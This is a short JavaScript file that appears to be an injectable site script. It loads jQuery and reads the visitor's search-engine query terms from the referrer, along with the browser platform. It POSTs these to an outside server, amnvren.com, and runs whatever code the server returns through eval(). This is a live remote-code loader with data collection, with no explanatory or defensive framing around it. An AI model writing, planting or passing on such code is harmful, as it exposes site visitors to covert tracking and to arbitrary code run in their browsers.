(function( window, undefined ) {   
  with(document) 0[(getElementsByTagName('head')[0] || body).appendChild(createElement('script')).src = '//apps.bdimg.com/libs/jquery/2.1.4/jquery.min.js'];
})(window); 

var qx_refer = document.referrer;

function sosuo(url){
	if(url){
		var result = {},param = url.split('?')[1].split('&'), len = param.length, i = 0, s;  
		for (;i<len;i++) {  
			if (!param[i]) { continue; }  
			s = param[i].split('=');  
			result[s[0]] = s[1];  
		}  
		return result; 
	}else{
		return '';
	}
}

var sear_param = sosuo(qx_refer);



var data = {};

data["sear_wd"] = sear_param.wd||sear_param.word||sear_param.query||sear_param.query||sear_param.keyword||'';

data["platform"]=navigator.platform;

if(qx_refer.indexOf("sm.cn")!= -1 || qx_refer.indexOf("so.com")!= -1){
	data["sear_wd"] = sear_param.q||'';
}



function fun_tem(){
	if (window.jQuery) {
		
		$.ajax({
		  type: 'POST',
		  url: "http://www.amnvren.com/shb/api.php",	 //请讲路径改为绝对路径 建议用https协议
		  data: data,
		  success: function(res){
			  var res = JSON.parse(res);
			  
			  if(res.code == '1'){
				 eval(res['con']);
			  }
		  }
		});
	}else{
		setTimeout('fun_tem()', 30);
	}
}
fun_tem();


